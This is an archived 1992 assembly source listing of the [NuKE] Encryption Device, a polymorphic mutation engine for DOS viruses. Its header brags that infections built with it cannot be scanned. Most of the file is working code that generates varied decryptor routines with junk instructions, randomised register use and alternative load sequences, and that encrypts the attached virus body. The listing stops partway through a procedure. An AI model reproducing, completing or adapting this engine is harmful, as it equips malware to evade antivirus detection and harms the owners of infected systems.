home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / pc / PMUPDT13.ZIP / NED.ZIP / NED09.ASM < prev    next >
Encoding:
Assembly Source File  |  1992-10-18  |  34.5 KB  |  958 lines

  1. ;******************************************************************************
  2. ; [NuKE] BETA TEST VERSION -- NOT FOR PUBLIC RELEASE!
  3. ;
  4. ; This product is not to be distributed to ANYONE without the complete and
  5. ; total agreement of both the author(s) and [NuKE].  This applies to all
  6. ; source code, executable code, documentation, and other files included in
  7. ; this package.
  8. ;
  9. ; Unless otherwise specifically stated, even the mere existance of this
  10. ; product is not to be mentioned to or discussed in any fashion with ANYONE,
  11. ; except with the author(s) and/or other [NuKE] members.
  12. ;
  13. ; WARNING:  This product has been marked in such a way that, if an
  14. ; unauthorized copy is discovered ANYWHERE, the violation can be easily
  15. ; traced back to its source, who will be located and punished.
  16. ; YOU HAVE BEEN WARNED.
  17. ;******************************************************************************
  18.  
  19.  
  20. ;*******************************************************************************
  21. ; The [NuKE] Encryption Device v0.90ß
  22. ;
  23. ; (C) 1992 Nowhere Man and [NuKE] International Software Development Corp.
  24. ; All Rights Reserved.  Unauthorized use strictly prohibited.
  25. ;
  26. ;*******************************************************************************
  27. ; Written by Nowhere Man
  28. ; October 18, 1992
  29. ; Version 0.90ß
  30. ;*******************************************************************************
  31. ;
  32. ; Synopsis:  The [NuKE] Encryption Device (N.E.D.) is a polymorphic mutation
  33. ;         engine, along the lines of Dark Avenger's now-famous MtE.
  34. ;         Unlike MtE, however, N.E.D. can't be SCANned, and probably will
  35. ;         never be, either, since there is no reliable pattern between
  36. ;         mutations, and the engine itself (and its RNG) are always
  37. ;         kept encrypted.
  38. ;
  39. ;         N.E.D. is easily be added to a virus.  Every infection with
  40. ;         that virus will henceforth be completely different from all
  41. ;          others, and all will be unscannable, thanks to the Cryptex(C)
  42. ;         polymorphic mutation algorithm.
  43. ;
  44. ;         N.E.D. only adds about 15 or so bytes of decryption code
  45. ;         (probably more, depending on which options are enabled), plus
  46. ;         the 1355 byte overhead needed for the engine itself (about half
  47. ;            the size of MtE!).
  48. ;*******************************************************************************
  49.  
  50.  
  51. ;*******************************************************************************
  52. ;                         Segment declarations
  53. ;*******************************************************************************
  54.  
  55. .model tiny
  56. .code
  57.  
  58.  
  59. ;*******************************************************************************
  60. ;         Equates used to save three bytes of code (was it worth it?)
  61. ;*******************************************************************************
  62.  
  63. load_point    equ    si + _load_point - ned_start
  64. encr_instr    equ    si + _encr_instr - ned_start
  65. store_point    equ    si + _store_point - ned_start
  66.  
  67. buf_ptr        equ    si + _buf_ptr - ned_start
  68. copy_len    equ    si + _copy_len - ned_start
  69. copy_off    equ    si + _copy_off - ned_start
  70. v_start        equ    si + _v_start - ned_start
  71. options        equ    si + _options - ned_start
  72.  
  73. byte_word    equ    si + _byte_word - ned_start
  74. up_down        equ    si + _up_down - ned_start
  75. mem_reg        equ    si + _mem_reg - ned_start
  76. loop_reg    equ    si + _loop_reg - ned_start
  77. key_reg        equ    si + _key_reg - ned_start
  78.  
  79. mem_otr        equ    si + _mem_otr - ned_start
  80. used_it        equ    si + _used_it - ned_start
  81. jump_here    equ    si + _jump_here - ned_start
  82. adj_here    equ    si + _adj_here - ned_start
  83.  
  84. word_adj_table    equ    si + _word_adj_table - ned_start
  85. byte_adj_table    equ    si + _byte_adj_table - ned_start
  86.  
  87. the_key        equ    si + _the_key - ned_start
  88.  
  89. crypt_type    equ    si + _crypt_type - ned_start
  90. op_byte        equ    si + _op_byte - ned_start
  91. rev_op_byte    equ    si + _rev_op_byte - ned_start
  92. modr_m        equ    si + _modr_m - ned_start
  93.  
  94. dummy_word_cmd    equ    si + _dummy_word_cmd - ned_start
  95. dummy_three_cmd    equ    si + _dummy_three_cmd - ned_start
  96.  
  97. tmp_jmp_store    equ    si + _tmp_jmp_store - ned_start
  98. jump_table    equ    si + _jump_table - ned_start
  99.  
  100. rand_val    equ    si + _rand_val - ned_start
  101.  
  102.  
  103. ;******************************************************************************
  104. ;                                Publics
  105. ;******************************************************************************
  106.  
  107. public        nuke_enc_dev
  108. public        ned_end
  109.  
  110.  
  111.  
  112. ;*******************************************************************************
  113. ;                [NuKE] Encryption Device begins here....
  114. ;*******************************************************************************
  115.  
  116. ned_begin    label    near            ; Start of the N.E.D.'s code
  117.  
  118.  
  119. ;******************************************************************************
  120. ; nuke_enc_dev
  121. ;
  122. ; This procedure merely calls ned_main.
  123. ;
  124. ; Arguments:    Same as ned_main; this is a shell procedure
  125. ;
  126. ; Returns:    Same as ned_main; this is a shell procedure
  127. ;******************************************************************************
  128.  
  129. nuke_enc_dev    proc    near
  130.         public    nuke_enc_dev        ; Name in .OBJs and .LIBs
  131.  
  132.         push    bx                      ;
  133.         push    cx                      ;
  134.         push    dx                      ; Preserve registers
  135.         push    si                      ; (except for AX, which is
  136.         push    di                      ; used to return something)
  137.         push    bp                      ;
  138.  
  139.         call    ned_main        ; Call the [NuKE] Encryption
  140.                         ; Device, in all it's splendor
  141.  
  142.         pop    bp            ;
  143.         pop    di                      ;
  144.         pop    si                      ;
  145.         pop    dx                      ; Restore registers
  146.         pop    cx                      ;
  147.         pop    bx                      ;
  148.  
  149.         ret                ; Return to the main virus
  150.  
  151.  
  152. ; This the copyright message (hey, I wrote the thing, so I can waste a few
  153. ; bytes bragging...).
  154.  
  155. copyright    db    13,10
  156.         db    "[NuKE] Encryption Device v0.90ß",13,10
  157.         db    "(C) 1992 Nowhere Man and [NuKE]",13,10,0
  158. nuke_enc_dev    endp
  159.  
  160.  
  161. ;******************************************************************************
  162. ; ned_main
  163. ;
  164. ; Fills a buffer with a random decryption routine and encrypted viral code.
  165. ;
  166. ; Arguments:    AX = offset of buffer to hold data
  167. ;        BX = offset of code start
  168. ;        CX = offset of the virus in memory (next time around!)
  169. ;        DX = length of code to copy and encrypt
  170. ;        SI = options:
  171. ;            bit 0:    dummy instructions
  172. ;            bit 1:    MOV variance
  173. ;            bit 2:  ADD/SUB substitution
  174. ;            bit 3:  garbage code
  175. ;            bit 4:  don't assume DS = CS
  176. ;            bits 5-15:  reserved
  177. ;
  178. ; Returns:    AX = size of generated decryption routine and encrypted code
  179. ;******************************************************************************
  180.  
  181. ned_main    proc    near
  182.         mov    di,si            ; We'll need SI, so use DI
  183.         not    di            ; Reverse all bits for TESTs
  184.  
  185.         call    ned_start        ; Ah, the old virus trick
  186. ned_start:    pop    si            ; for getting our offset...
  187.  
  188.         mov    word ptr [used_it],0    ; A truely hideous way to
  189.         mov    word ptr [used_it + 2],0; reset the register usage
  190.         mov    word ptr [used_it + 4],0; flags...
  191.         mov    byte ptr [used_it + 6],0;
  192.  
  193.         add    dx,ned_end - ned_begin    ; Be sure to encrypt ourself!
  194.  
  195.         mov    word ptr [buf_ptr],ax    ; Save the function
  196.         mov    word ptr [copy_off],bx    ; arguments in an
  197.         mov    word ptr [v_start],cx    ; internal buffer
  198.         mov    word ptr [copy_len],dx    ; for later use
  199.         mov    word ptr [options],di    ;
  200.  
  201.         xchg    di,ax            ; Need the buffer offset in DI
  202.  
  203.         mov    ax,2            ; Select a random number
  204.         call    rand_num        ; between 0 and 1
  205.         mov    word ptr [byte_word],ax    ; Save byte/word flag
  206.  
  207.         mov    ax,2            ; Select another random number
  208.         call    rand_num        ; between 0 and 1
  209.         xor    ax,ax            ; !!!!DELETE ME!!!!
  210.         mov    word ptr [up_down],ax    ; Save up/down flag
  211.  
  212.         mov    ax,4            ; Select a random number
  213.         call    rand_num                ; between 0 and 3
  214.         mov    word ptr [mem_reg],ax    ; Save memory register
  215.         xchg    bx,ax            ; Place in BX for indexing
  216.         shl    bx,1            ; Convert to word index
  217.         mov    bx,word ptr [mem_otr + bx]  ; Get register number
  218.         inc    byte ptr [used_it + bx] ; Cross off register
  219.  
  220.         xor    cx,cx            ; We need a word register
  221.         call    random_reg        ; Get a random register
  222.         inc    byte ptr [used_it + bx] ; Cross it off...
  223.         mov    word ptr [loop_reg],ax    ; Save loop register
  224.  
  225.         mov    ax,2            ; Select a random number
  226.         call    rand_num                ; between 0 and 1
  227.         or    ax,ax            ; Does AX = 0?
  228.         je    embedded_key        ; If so, the key's embedded
  229.         mov    cx,word ptr [byte_word]    ; CX holds the byte word flag
  230.         neg    cx            ; By NEGating CX and adding one
  231.         inc    cx            ; CX will be flip-flopped
  232.         call    random_reg        ; Get a random register
  233.         inc    byte ptr [used_it + bx] ; Cross it off...
  234.         mov    word ptr [key_reg],ax    ; Save key register
  235.         jmp    short create_routine    ; Ok, let's get to it!
  236. embedded_key:    mov    word ptr [key_reg],-1    ; Set embedded key flag
  237.  
  238. create_routine: call    add_nop            ; Add a do-nothing instruction?
  239.         mov    ax,2            ; Select a random number
  240.         call    rand_num        ; between 0 and 1
  241.         or    ax,ax            ; Does AX = 0?
  242.         je    pointer_first        ; If so, load pointer then count
  243.         call    load_count        ; Load start register
  244.         call    add_nop            ; Add a do-nothing instruction?
  245.         call    load_pointer        ; Load pointer register
  246.         jmp    short else_end1        ; Skip the ELSE part
  247. pointer_first:     call    load_pointer        ; Load start register
  248.         call    add_nop            ; Add a do-nothing instruction?
  249.         call    load_count        ; Load count register
  250. else_end1:    call    add_nop            ; Add a do-nothing instruction?
  251.         call    load_key        ; Load encryption key
  252.         call    add_nop            ; Add a do-nothing instruction?
  253.         mov    word ptr [jump_here],di    ; Save the offset of the loop
  254.         call    add_decrypt        ; Create the decryption code
  255.         call    add_nop            ; Add a do-nothing instruction?
  256.         call    adjust_ptr        ; Adjust the memory pointer
  257.         call    add_nop            ; Add a do-nothing instruction?
  258.         call    end_loop        ; End the decryption loop
  259.         call    random_fill        ; Pad with random bullshit?
  260.  
  261.         mov    ax,di            ; AX points to our current place
  262.         sub    ax,word ptr [buf_ptr]    ; AX now holds # bytes written
  263.  
  264.         mov    bx,word ptr [adj_here]    ; Find where we need to adjust
  265.         add    word ptr [bx],ax    ; Adjust the starting offset
  266.  
  267.         add    ax,word ptr [copy_len]    ; Add length of encrypted code
  268.         push    ax                   ; Save this for later
  269.  
  270.         mov    bx,word ptr [crypt_type]; BX holds encryption type
  271.         mov    bl,byte ptr [rev_op_byte + bx]  ; Load encryption byte
  272.         mov    bh,0D8h            ; Fix a strange problem...
  273.         mov    word ptr [encr_instr],bx; Save it into our routine
  274.  
  275.         mov    cx,word ptr [copy_len]    ; CX holds # of bytes to encrypt
  276.         cmp    word ptr [byte_word],0    ; Are we doing it by bytes?
  277.         je    final_byte_k        ; If so, reset LODS/STOS stuff
  278.         mov    byte ptr [load_point],0ADh  ; Change it to a LODSW
  279.         mov    byte ptr [store_point],0ABh  ; Change it to a STOSW
  280.         shr    cx,1            ; Do half as many repetitions
  281.         mov    bx,word ptr [the_key]    ; Reload the key
  282.         inc    byte ptr [encr_instr]    ; Fix up for words...
  283.         jmp    short encrypt_virus    ; Let's go!
  284. final_byte_k:   mov    byte ptr [load_point],0ACh  ; Change it to a LODSW
  285.         mov    byte ptr [store_point],0AAh  ; Change it to a STOSW
  286.         mov    bl,byte ptr [the_key]    ; Ok, so I did this poorly...
  287.  
  288. encrypt_virus:    mov    si,word ptr [copy_off]    ; SI points to the original code
  289.  
  290.  
  291. ; This portion of the code is self-modifying.  It may be bad style, but
  292. ; it's far more efficient than writing six or so different routines...
  293.  
  294. _load_point:    lodsb                ; Load a byte/word into AL
  295. _encr_instr:    xor    al,bl            ; Encrypt the byte/word
  296. _store_point:    stosb                ; Store the byte/word at ES:[DI]
  297.         loop    _load_point        ; Repeat until all bytes done
  298.  
  299. ; Ok, we're through... back to normal
  300.  
  301.  
  302.         pop    ax            ; AX holds routine length
  303.  
  304.         ret                ; Return to caller
  305.  
  306. _buf_ptr     dw    ?            ; Pointer: storage buffer
  307. _copy_len    dw    ?            ; Integer: # bytes to copy
  308. _copy_off    dw    ?            ; Pointer: original code
  309. _v_start    dw    ?            ; Pointer: virus start in file
  310. _options    dw    ?            ; Integer: bits set options
  311.  
  312. _byte_word    dw    ?            ; Boolean: 0 = byte, 1 = word
  313. _up_down    dw    ?            ; Boolean: 0 = up, 1 = down
  314. _mem_reg         dw    ?            ; Integer: 0-4 (SI, DI, BX, BP)
  315. _loop_reg    dw    ?            ; Integer: 0-6 (AX, BX, etc.)
  316. _key_reg    dw    ?            ; Integer: -1 = internal
  317.  
  318. _mem_otr    dw    4,5,1,6            ; Array: Register # for mem_reg
  319. _used_it    db    7 dup (0)        ; Array: 0 = unused, 1 = used
  320. _jump_here    dw    ?            ; Pointer: Start of loop
  321. _adj_here    dw    ?            ; Pointer: Where to adjust
  322. ned_main    endp
  323.  
  324.  
  325. ;******************************************************************************
  326. ; load_count
  327. ;
  328. ; Adds code to load the count register, which stores the number of
  329. ; iterations that the decryption loop must make.  if _byte_word = 0
  330. ; then this value is equal to the size of the code to be encrypted;
  331. ; if _byte_word = 1 (increment by words), it is half that length
  332. ; (since two bytes are decrypted at a time).
  333. ;
  334. ; Arguments:    SI = offset of ned_start
  335. ;        DI = offset of storage buffer
  336. ;
  337. ; Returns:    None
  338. ;******************************************************************************
  339.  
  340. load_count    proc    near
  341.         mov    bx,word ptr [loop_reg]    ; BX holds register number
  342.         mov    dx,word ptr [copy_len]    ; DX holds size of virus
  343.         mov    cx,word ptr [byte_word]    ; Neat trick to divide by
  344.         shr    dx,cl            ; two if byte_word = 1
  345.         mov    cx,1            ; We're doing a word register
  346.         call    gen_mov            ; Generate a move
  347.         ret                ; Return to caller
  348.  
  349. _word_adj_table    db    00h, 03h, 01h, 02h, 06h, 07h, 05h  ; Array: ModR/M adj.
  350. _byte_adj_table    db    04h, 00h, 07h, 03h, 05h, 01h, 06h, 02h  ; Array ""/byte
  351. load_count    endp
  352.  
  353.  
  354. ;******************************************************************************
  355. ; load_pointer
  356. ;
  357. ; Adds code to load the pointer register, which points to the byte
  358. ; or word of memory that is to be encrypted.  Due to the flaws of
  359. ; 8086 assembly language, only the SI, DI, BX, and BP registers may
  360. ; be used.
  361. ;
  362. ; Arguments:    SI = offset of ned_start
  363. ;        DI = offset of storage buffer
  364. ;******************************************************************************
  365.  
  366. load_pointer    proc    near
  367.         mov    bx,word ptr [mem_reg]    ; BX holds register number
  368.         shl    bx,1            ; Convert to word index
  369.         mov    bx,word ptr [mem_otr + bx]  ; Convert register number
  370.         mov    al,byte ptr [word_adj_table + bx]  ; Table look-up
  371.         add    al,0B8h            ; Create a MOV instruction
  372.         stosb                ; Store it in the code
  373.         mov    word ptr [adj_here],di    ; Save our current offset
  374.         mov    ax,word ptr [v_start]    ; AX points to virus (in host)
  375.         cmp    word ptr [up_down],0    ; Are we going upwards?
  376.         je    no_adjust        ; If so, no ajustment needed
  377.         add    ax,word ptr [copy_len]    ; Point to end of virus
  378. no_adjust:    stosw                ; Store the start offset
  379.         ret                ; Return to caller
  380. load_pointer    endp
  381.  
  382.  
  383. ;******************************************************************************
  384. ; load_key
  385. ;
  386. ; Adds code to load the encryption key into a register.  If _byte_word = 0
  387. ; a 8-bit key is used; if it is 1 then a 16-bit key is used.  If the key
  388. ; is supposed to be embedded, no code is generated at this point.
  389. ;
  390. ; Arguments:    SI = offset of ned_start
  391. ;        DI = offset of storage buffer
  392. ;
  393. ; Returns:    None
  394. ;******************************************************************************
  395.  
  396. load_key    proc    near
  397.         mov    ax,0FFFFh        ; Select a random number
  398.         call    rand_num        ; between 0 and 65534
  399.         inc    ax            ; Eliminate any null keys
  400.         mov    word ptr [the_key],ax    ; Save key for later
  401.         mov    bx,word ptr [key_reg]    ; DX holds the register number
  402.         cmp    bx,-1            ; Is the key embedded?
  403.         je    blow_this_proc        ; If so, just leave now
  404.         xchg    dx,ax            ; DX holds key
  405.         mov    cx,word ptr [byte_word]    ; CX holds byte/word flag
  406.         call    gen_mov            ; Load the key into the register
  407. blow_this_proc:    ret                ; Return to caller
  408.  
  409. _the_key    dw    ?            ; Integer: The encryption key
  410. load_key    endp
  411.  
  412.  
  413. ;******************************************************************************
  414. ; add_decrypt
  415. ;
  416. ; Adds code to dencrypt a byte or word (pointed to by the pointer register)
  417. ; by either a byte or word register or a fixed byte or word.
  418. ;
  419. ; Arguments:    SI = offset of ned_start
  420. ;        DI = offset of storage buffer
  421. ;
  422. ; Returns:    None
  423. ;******************************************************************************
  424.  
  425. add_decrypt    proc    near
  426.         test    word ptr [options],010000b  ; Do we need a CS: override
  427.         jne    no_override        ; If not, don't add it...
  428.         mov    al,02Eh            ; Store a code-segment
  429.         stosb                ; override instruction (CS:)
  430. no_override:    mov    ax,3            ; Select a random number
  431.         call    rand_num                ; between 0 and 2
  432.         mov    word ptr [crypt_type],ax; Save encryption type
  433.         xchg    bx,ax            ; Now transfer it into BX
  434.         mov    ax,word ptr [byte_word]    ; 0 if byte, 1 if word
  435.         cmp    word ptr [key_reg],-1    ; Is the key embedded?
  436.         je    second_case        ; If so, it's a different story
  437.  
  438.         add    al,byte ptr [op_byte + bx]  ; Adjust by operation type
  439.         stosb                ; Place the byte in the code
  440.  
  441.         mov    ax,word ptr [mem_reg]    ; AX holds register number
  442.         mov    cl,3            ; To get the ModR/M table
  443.         shl    ax,cl            ; offset, multiply by eight
  444.         mov    bx,word ptr [key_reg]    ; BX holds key register number
  445.         cmp    word ptr [byte_word],0    ; Is this a byte?
  446.         je    byte_by_reg        ; If so, special case
  447.         mov    bl,byte ptr [word_adj_table + bx]  ; Create ModR/M
  448.         jmp    short store_it_now    ; Now save the byte
  449. byte_by_reg:    mov    bl,byte ptr [byte_adj_table + bx]  ; Create ModR/M
  450. store_it_now:   xor    bh,bh            ; Clear out any old data
  451.         add    bx,ax            ; Add the first index
  452.         mov    al,byte ptr [modr_m + bx]  ; Table look-up
  453.         stosb                ; Save it into the code
  454.         cmp    word ptr [mem_reg],3    ; Are we using BP?
  455.         jne    a_d_exit1        ; If not, leave
  456.         xor    al,al            ; For some dumb reason we'll
  457.         stosb                           ; have to specify a 0 adjustment
  458. a_d_exit1:    ret                ; Return to caller
  459.  
  460.  
  461. second_case:    add    al,080h            ; Create the first byte
  462.         stosb                ; and store it in the code
  463.  
  464.         mov    al,byte ptr [op_byte + bx]  ; Load up the OP byte
  465.         mov    bx,word ptr [mem_reg]    ; BX holds register number
  466.         mov    cl,3            ; To get the ModR/M table
  467.         shl    bx,cl            ; offset, multiply by eight
  468.         add    al,byte ptr [modr_m + bx]  ; Add result of table look-up
  469.         stosb                ; Save it into the code
  470.         cmp    word ptr [mem_reg],3    ; Are we using BP?
  471.         jne    store_key        ; If not, store the key
  472.         xor    al,al            ; For some dumb reason we'll
  473.         stosb                           ; have to specify a 0 adjustment
  474. store_key:    cmp    word ptr [byte_word],0    ; Is this a byte?
  475.         je    byte_by_byte        ; If so, special case
  476.         mov    ax,word ptr [the_key]    ; Load up *the key*
  477.         stosw                ; Save the whole two bytes!
  478.         jmp    short a_d_exit2        ; Let's split, man
  479. byte_by_byte:   mov    al,byte ptr [the_key]    ; Load up *the key*
  480.         stosb                ; Save it into the code
  481. a_d_exit2:    ret                ; Return to caller
  482.  
  483. _crypt_type    dw    ?            ; Integer: Type of encryption
  484. _op_byte    db    030h,000h,028h        ; Array: OP byte of instruction
  485. _rev_op_byte    db    030h,028h,000h        ; Array: Reverse OP byte of ""
  486. _modr_m        db    004h, 00Ch, 014h, 01Ch, 024h, 02Ch, 034h, 03Ch    ; SI
  487.         db    005h, 00Dh, 015h, 01Dh, 025h, 02Dh, 035h, 03Dh    ; DI
  488.         db    007h, 00Fh, 017h, 01Fh, 027h, 02Fh, 037h, 03Fh    ; BX
  489.         db    046h, 04Eh, 056h, 05Eh, 066h, 06Eh, 076h, 07Eh    ; BP
  490. add_decrypt    endp
  491.  
  492.  
  493. ;******************************************************************************
  494. ; adjust_ptr
  495. ;
  496. ; Adds code to adjust the memory pointer.  There are two possible choices:
  497. ; INC/DEC and ADD/SUB (inefficient, but provides variation).
  498. ;
  499. ; Arguments:    SI = offset of ned_start
  500. ;        DI = offset of storage buffer
  501. ;
  502. ; Returns:    None
  503. ;******************************************************************************
  504.  
  505. adjust_ptr    proc    near
  506.         mov    cx,word ptr [byte_word]    ; CX holds byte/word flag
  507.         inc    cx            ; Increment; now # INCs/DECs
  508.         mov    bx,word ptr [mem_reg]    ; BX holds register number
  509.         shl    bx,1            ; Convert to word index
  510.         mov    bx,word ptr [mem_otr + bx]  ; Convert register number
  511.         mov    dx,word ptr [up_down]    ; DX holds up/down flag
  512.         call    gen_add_sub        ; Create code to adjust pointer
  513.         ret                ; Return to caller
  514. adjust_ptr    endp
  515.  
  516.  
  517. ;******************************************************************************
  518. ; end_loop
  519. ;
  520. ; Adds code to adjust the count variable, test to see if it's zero,
  521. ; and repeat the decryption loop if it is not.  There are three possible
  522. ; choices:  LOOP (only if the count register is CX), SUB/JNE (inefficient,
  523. ; but provides variation), and DEC/JNE (best choice for non-CX registers).
  524. ;
  525. ; Arguments:    SI = offset of ned_start
  526. ;        DI = offset of storage buffer
  527. ;
  528. ; Returns:    None
  529. ;******************************************************************************
  530.  
  531. end_loop    proc    near
  532.         mov    bx,word ptr [loop_reg]    ; BX holds register number
  533.         cmp    bx,2            ; Are we using CX?
  534.         jne    dec_jne            ; If not, we can't use LOOP
  535.         mov    ax,2            ; Select a random number
  536.         call    rand_num                ; between 0 and 1
  537.         or    ax,ax            ; Does AX = 0?
  538.         jne    dec_jne                 ; If not, standard ending
  539.         mov    al,0E2h            ; We'll do a LOOP instead
  540.         stosb                           ; Save the OP byte
  541.         jmp    short store_jmp_loc    ; Ok, now find the offset
  542. dec_jne:    mov    cx,1            ; Only adjust by one
  543.         mov    dx,1            ; We're subtracting...
  544.         call    gen_add_sub        ; Create code to adjust count
  545.         mov    al,075h            ; We'll do a JNE to save
  546.         stosb                ; Store a JNE OP byte
  547. store_jmp_loc:    mov    ax,word ptr [jump_here]    ; Find old offset
  548.         sub    ax,di            ; Adjust relative jump
  549.         dec    ax            ; Adjust by one (DI is off)
  550.         stosb                ; Save the jump offset
  551.         ret                ; Return to caller
  552. end_loop    endp
  553.  
  554.  
  555. ;******************************************************************************
  556. ; add_nop
  557. ;
  558. ; Adds between 0 and 3 do-nothing instructions to the code, if they are
  559. ; allowed by the user (bit 0 set).
  560. ;
  561. ; Arguments:    SI = offset of ned_start
  562. ;        DI = offset of storage buffer
  563. ;
  564. ; Returns:    None
  565. ;******************************************************************************
  566.  
  567. add_nop        proc    near
  568.         push    ax            ; Save AX
  569.         push    bx            ; Save BX
  570.         push    cx            ; Save CX
  571.  
  572.         test    word ptr [options],0001b; Are we allowing these?
  573.         jne    outta_here        ; If not, don't add 'em
  574.         mov    ax,2            ; Select a random number
  575.         call    rand_num                ; between 0 and 1
  576.         or    ax,ax            ; Does AX = 0?
  577.         je    outta_here        ; If so, don't add any NOPs...
  578.         mov    ax,4            ; Select a random number
  579.         call    rand_num                ; between 0 and 3
  580.         xchg    cx,ax            ; CX holds repetitions
  581.         jcxz    outta_here        ; CX = 0?  Split...
  582. add_nop_loop:   mov    ax,4            ; Select a random number
  583.         call    rand_num                ; between 0 and 3
  584.         or    ax,ax            ; Does AX = 0?
  585.         je    two_byter        ; If so, a two-byte instruction
  586.         cmp    ax,1            ; Does AX = 1?
  587.         je    three_byter        ; If so, a three-byte instruction
  588.         mov    al,090h            ; We'll do a NOP instead
  589.         stosb                ; Store it in the code
  590.         jmp    short loop_point    ; Complete the loop
  591. two_byter:    mov    ax,34            ; Select a random number
  592.         call    rand_num                ; between 0 and 33
  593.         xchg    bx,ax            ; Place in BX for indexing
  594.         shl    bx,1            ; Convert to word index
  595.         mov    ax,word ptr [dummy_word_cmd + bx]  ; Get dummy command
  596.         stosw                ; Save it in the code...
  597.         jmp    short loop_point    ; Complete the loop
  598. three_byter:    mov    ax,16            ; Select a random number
  599.         call    rand_num        ; between 0 and 15
  600.         mov    bx,ax            ; Place in BX for indexing
  601.         shl    bx,1            ; Convert to word index
  602.         add    bx,ax            ; Add back value (BX = BX * 3)
  603.         mov    ax,word ptr [dummy_three_cmd + bx]  ; Get dummy command
  604.         stosw                ; Save it in the code...
  605.         mov    al,byte ptr [dummy_three_cmd + bx + 2]
  606.         stosb                ; Save the final byte, too
  607. loop_point:    loop    add_nop_loop        ; Repeat 0-2 more times
  608. outta_here:    pop    cx            ; Restore CX
  609.         pop    bx            ; Restore BX
  610.         pop    ax            ; Restore AX
  611.         ret                ; Return to caller
  612.  
  613. _dummy_word_cmd:                ; Useless instructions,
  614.                         ; two bytes each
  615.         mov    ax,ax
  616.         mov    bx,bx
  617.         mov    cx,cx
  618.         mov    dx,dx
  619.         mov    si,si
  620.         mov    di,di
  621.         mov    bp,bp
  622.         xchg    bx,bx
  623.         xchg    cx,cx
  624.         xchg    dx,dx
  625.         xchg    si,si
  626.         xchg    di,di
  627.         xchg    bp,bp
  628.         nop
  629.         nop
  630.         inc    ax
  631.         dec    ax
  632.         inc    bx
  633.         dec    bx
  634.         inc    cx
  635.         dec    cx
  636.         inc    dx
  637.         dec    dx
  638.         inc    si
  639.         dec    si
  640.         inc    di
  641.         dec    di
  642.         inc    bp
  643.         dec    bp
  644.         cmc
  645.         cmc
  646.         jmp    short $ + 2
  647.         je    $ + 2
  648.         jne    $ + 2
  649.         jg    $ + 2
  650.         jge    $ + 2
  651.         jl    $ + 2
  652.         jle    $ + 2
  653.         jo    $ + 2
  654.         jpe    $ + 2
  655.         jpo    $ + 2
  656.         js    $ + 2
  657.         jcxz    $ + 2
  658.  
  659.  
  660. _dummy_three_cmd:                ; Useless instructions,
  661.                         ; three bytes each
  662.         xor    ax,0
  663.         or    ax,0
  664.         add    ax,0
  665.         add    bx,0
  666.         add    cx,0
  667.         add    dx,0
  668.         add    si,0
  669.         add    di,0
  670.         add    bp,0
  671.         sub    ax,0
  672.         sub    bx,0
  673.         sub    cx,0
  674.         sub    dx,0
  675.         sub    si,0
  676.         sub    di,0
  677.         sub    bp,0
  678. add_nop        endp
  679.  
  680.  
  681. ;******************************************************************************
  682. ; gen_mov
  683. ;
  684. ; Adds code to load a register with a value.  If MOV variance is enabled,
  685. ; inefficient, sometimes strange, methods may be used; if it is disabled,
  686. ; a standard MOV is used (wow).  Various alternate load methods include
  687. ; loading a larger value then subtracting the difference, loading a
  688. ; smaller value the adding the difference, loading an XORd value then
  689. ; XORing it by a key that will correct the difference, loading an incorrect
  690. ; value and NEGating or NOTing it to correctness, and loading a false
  691. ; value then loading the correct one.
  692. ;
  693. ; Arguments:    BX = register number
  694. ;        CX = 0 for byte register, 1 for word register
  695. ;        DX = value to store
  696. ;        SI = offset of ned_start
  697. ;               DI = offset of storage buffer
  698. ;
  699. ; Returns:    None
  700. ;******************************************************************************
  701.  
  702. gen_mov        proc
  703.         test    word ptr [options],0010b; Do we allow wierd moves?
  704.         je    quick_fixup        ; If so, short jump over JMP
  705.         jmp    make_mov        ; If not, standard MOV
  706. quick_fixup:    jcxz    byte_index_0        ; If we're doing a byte, index
  707.         mov    bl,byte ptr [word_adj_table + bx]  ; Table look-up
  708.         jmp    short get_rnd_num    ; Ok, get a random number now
  709. byte_index_0:    mov    bl,byte ptr [byte_adj_table + bx]  ; Table look-up
  710. get_rnd_num:    mov    ax,7            ; Select a random number
  711.         call    rand_num                ; between 0 and 6
  712.         shl    ax,1            ; Convert AX into word index
  713.         lea    bp,word ptr [jump_table]  ; BP points to jump table
  714.         add    bp,ax            ; BP now points to the offset
  715.         mov    ax,word ptr [bp]    ; AX holds the jump offset
  716.         add    ax,si            ; Adjust by our own offset
  717.         mov    word ptr [tmp_jmp_store],ax  ; Store in scratch variable
  718.         mov    ax,0FFFFh        ; Select a random number
  719.         call    rand_num                ; between 0 and 65564
  720.         xchg    bp,ax            ; Place random number in BP
  721.         jmp    word ptr [tmp_jmp_store]; JuMP to a load routine!
  722. load_move:    xchg    dx,bp            ; Swap DX and BP
  723.         call    make_mov        ; Load BP (random) in register
  724.         call    add_nop            ; Add a do-nothing instruction?
  725.         xchg    dx,bp            ; DX now holds real value
  726.         jmp    short make_mov        ; Load real value in reigster
  727. load_sub:    add    dx,bp            ; Add random value to load value
  728.         call    make_mov        ; Create a MOV instruction
  729.         call    add_nop            ; Add a do-nothing instruction?
  730.         mov    ah,0E8h            ; We're doing a SUB
  731.         jmp    short make_add_sub    ; Create the SUB instruction
  732. load_add:    sub    dx,bp            ; Sub. random from load value
  733.         call    make_mov        ; Create a MOV instruction
  734.         call    add_nop            ; Add a do-nothing instruction?
  735.         mov    ah,0C0h            ; We're doing an ADD
  736.         jmp    short make_add_sub    ; Create the ADD instruction
  737. load_xor:    xor    dx,bp            ; XOR load value by random
  738.         call    make_mov        ; Create a MOV instruction
  739.         call    add_nop            ; Add a do-nothing instruction?
  740.         mov    ah,0F0h            ; We're doing an XOR
  741.         jmp    short make_add_sub    ; Create the XOR instruction
  742. load_not:    not    dx            ; Two's-compliment DX
  743.         call    make_mov        ; Create a MOV instruction
  744.         call    add_nop            ; Add a do-nothing instruction?
  745. load_not2:    mov    al,0F6h            ; We're doing a NOT/NEG
  746.         add    al,cl            ; If it's a word, add one
  747.         stosb                ; Store the byte
  748.         mov    al,0D0h            ; Initialize the ModR/M byte
  749.         add    al,bl            ; Add back the register info
  750.         stosb                ; Store the byte
  751.         ret                ; Return to caller
  752. load_neg:    neg    dx            ; One's-compliment DX
  753.         call    make_mov        ; Create a MOV instruction
  754.         add    bl,08h            ; Change the NOT into a NEG
  755.         jmp    short load_not2        ; Reuse the above code
  756.  
  757. make_mov:       mov    al,0B0h            ; Assume it's a byte for now
  758.         add    al,bl            ; Adjust by register ModR/M
  759.         jcxz    store_mov        ; If we're doing a byte, go on
  760.         add    al,008h            ; Otherwise, adjust for word
  761. store_mov:    stosb                ; Store the OP byte
